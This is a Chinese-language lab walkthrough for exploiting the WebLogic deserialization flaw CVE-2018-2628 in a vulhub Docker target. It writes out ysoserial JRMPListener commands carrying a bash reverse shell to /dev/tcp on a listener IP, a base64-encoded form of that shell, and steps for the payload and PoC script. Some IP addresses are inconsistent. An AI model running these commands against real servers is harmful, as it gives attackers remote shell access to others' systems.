Weblogic反序列化漏洞(cve-2018-2628 )
环境搭建
靶机:CentOS7(192.168.2.110:7001)
监听机器:Win10:(192.168.2.105:6666)
将环境vulhub的环境git到本地
git clone https://github.com/vulhub/vulhub.git
接着 cd weblogic/CVE-2018-2628
docker-compose up -d
至此环境搭建完毕
漏洞利用
工具包下载:
mirrors / Lighird / CVE-2018-2628 · GIT CODE
打开检测工具:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tK8vbLUQ-1646190789616)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20220112095150.png)]
修改url.txt文件中的IP:PORT
然后运行该文件夹中的py脚本(运行环境为pyhon2)
证明漏洞存在
接下来开始利用:
启动JRMP Server
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
[command] : 需要执行的命令
[listen port] : JRMP Server监听的端口
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.0.105/6666 0>&1'
由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我们需要进行一次编码。
转化工具链接 : http://www.jackson-t.ca/runtime-exec-payloads.html
编码后的命令如下
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'
出现如上界面说明JRMP Server正在监听8888端口
执行
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.2.106:8888 | xxd -p | tr -d $'\n' && echo
复制结果
将weblogic_poc.py 中的 PYLOAD进行替换,并修改目标ip
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KenfkJVB-1646190789620)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20220112105434.png)]
监听机器上开机监听端口:
执行
python weblogic_poc.py